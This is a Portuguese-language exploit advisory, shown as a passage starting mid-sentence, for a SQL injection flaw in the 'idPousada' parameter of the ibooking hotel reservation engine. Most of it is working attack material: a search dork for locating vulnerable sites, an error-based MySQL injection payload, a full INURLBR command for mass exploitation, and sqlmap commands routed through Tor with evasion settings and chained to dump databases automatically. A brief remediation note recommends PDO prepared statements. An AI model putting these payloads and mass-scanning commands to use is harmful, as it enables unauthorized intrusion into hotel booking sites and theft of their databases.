explorada via request GET no parametro idPousada do arquivo filtro_faixa_etaria.php dentro da pasta ou URL dinamica /motor-de-reservas/.INFORMACOES: [+] FORNECEDOR: WWW.ibooking.com.br[+] VERSOES VULNERAVEIS: TODAS[+] ARQUIVO: filtro_faixa_etaria.php[+] PASTA OU URL DINAMICA: /motor-de-reservas[+] PARAMETRO: idPousada(GET)[+] DORK: intext:"Desenvolvido por ibooking" [+] REPORTADO: 15/10/2015A request vulneravel e feito atraves de uma function javascript encontrada dentro de /motor-de-reservasCodigo:jQuery(function($){ $("#quartos").change(function() { var qtde_quartos = $(this).val(); $.ajax({ type: "GET", url: "filtro_faixa_etaria.php", data: "qtde_quartos="+qtde_quartos+"&idPousada=61", success: function(xml){ $("#filtro_faixa_etaria").html(xml); } }); }); $.ajax({ type: "GET", url: "filtro_faixa_etaria.php", data: "qtde_quartos=1&idPousada=61", success: function(xml){ $("#filtro_faixa_etaria").html(xml); } }); });URL Vulneravel:http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61POC:http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+(INJECAO_SQL)Exemplo:http://www.TARGET.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)Detalhes na injecao SQL e usado FUNCTIONS basicas de injecao, mas seu diferencial e uso de variaveis Globais do MySQL.@@GLOBAL.version = VERSAO BANCO DE DADOS MYSQL@@GLOBAL.version_compile_os = SERVIDOR COMPILADO@@GLOBAL.version_compile_machine = TIPO DE ARQUITETURA DO SERVIDORTambem passo a string ::INURLBR_VULN:: no formato hexadecimal, para assim posteriormente validar se a injecao ocorreu como esperado.0x203a3a494e55524c42525f56554c4e3a3a20 = ::INURLBR_VULN::Print saida da injecao:Exploracao em massa usando scanner INURLBRBaixar: https://github.com/googleinurl/SCANNER-INURLBRMontando comando:SETANDO DORK DE PESQUISA--dork 'YOU_DORK'- USE --dork 'intext:"Desenvolvido por ibooking"'SETANDO ARQUIVO DE SAIDA:- USE: -s 'ibooking.txt'SETANDO STRING EXPLOIT GET--exploit-get 'EXPLOIT_GET'- USE: --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)'SETANDO TIPO DE VALIDACAO: - USE: -t 3 3 O terceiro tipo tenta valido o erro definido por: -a 'VALUE_INSIDE_THE _target " mais as validacoes padroes do scanner, o diferencial e que --exploit-get e injetado direto na url:Exemplo: --exploit-get '/index.php?id=1&file=conect.php'INJECAO URL: http://www.target.br/index.php?id=1&file=conect.phpSETANDO STRING DE VALIDACAO:Especifique a string que sera usada como validacao no script:Exemplo: -a {string}Usando: -a '<title>hello world</title>'Se o valor especifico e encontrado no alvo, ele e considerado vulneravel.- USE: -a 'INURLBR_VULN'O valor INURLBR_VULN e passado no formato hexadecimal na string exploit-getCOMANDO COMPLETO:php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN'Print saida:EXPLORANDO VIA SQLMAP:python sqlmap.py -u 'http://ww.target.br/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=10,level=3,risk=2,dbms=MySQL,testing=Y,WAF/IPS/IDS=Y,check=Y'EXPLORANDO INURLBR + SQLMAP:Usando parametro da ferramenta inurlbr --command-vul, vai executar comando sqlmap quando constatar uma possivel vulnerabilidade de acordo com as informacoes passadas.php inurlbr.php --dork 'intext:"Desenvolvido por ibooking"' -s 'ibooking.txt' --exploit-get '/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=3&idPousada=61+AND+(SELECT+2692+FROM(SELECT+COUNT(*),CONCAT(0x203a3a494e55524c42525f56554c4e3a3a20,(SELECT+(concat(@@GLOBAL.VERSION,0x20,@@GLOBAL.version_compile_os,0x20,@@GLOBAL.version_compile_machine))),0x203a3a494e55524c42525f56554c4e3a3a20,FLOOR(RAND(0)*2))x+FROM+INFORMATION_SCHEMA.CHARACTER_SETS+GROUP+BY+x)a)' -t 3 -a 'INURLBR_VULN' --command-vul "python sqlmap -u 'http://_TARGET_/motor-de-reservas/filtro_faixa_etaria.php?qtde_quartos=1&idPousada=61' --dbs --random-agent --tor --tor-type=SOCKS5 -p idPousada --answers='follow=N,union-char=Y,time-sec=2,level=3,risk=2,dbms=MySQL,technique=BEUS,testing=Y,WAF/IPS/IDS=Y,check=Y' --flush-session"Print saida: Solucao ?Use PDO.http://php.net/manual/pt_BR/book.pdo.phpUse Prepares statement sem moderacao:http://php.net/manual/pt_BR/pdo.prepare.phpFiltro de request seja POST ou GET:http://php.net/manual/en/filter.filters.sanitize.phpO arquivo aparecendo ou nao para o cliente, ele pode ser vulneravel do mesmo jeito.Outra falha que foi encontrada no sistema semana passada de titulo:(0day) IBOOKING CMS - LOCAL FILE DISCLOSURE VULNERABILITYEncontrada por: Pablo Verlly Moreira, que ja foi reportada e corrigida pelo admin, mas sem nem um agradecimento por parte da equipe.https://ghostbin.com/paste/e99uzReferencias:http://seclists.org/fulldisclosure/2015/Sep/56https://www.owasp.org/index.php/Testing_for_SQL_Injection_(OTG-INPVAL-005)https://www.owasp.org/index.php/Automated_Audit_using_SQLMaphttps://dev.mysql.com/doc/refman/5.0/en/hexadecimal-literals.html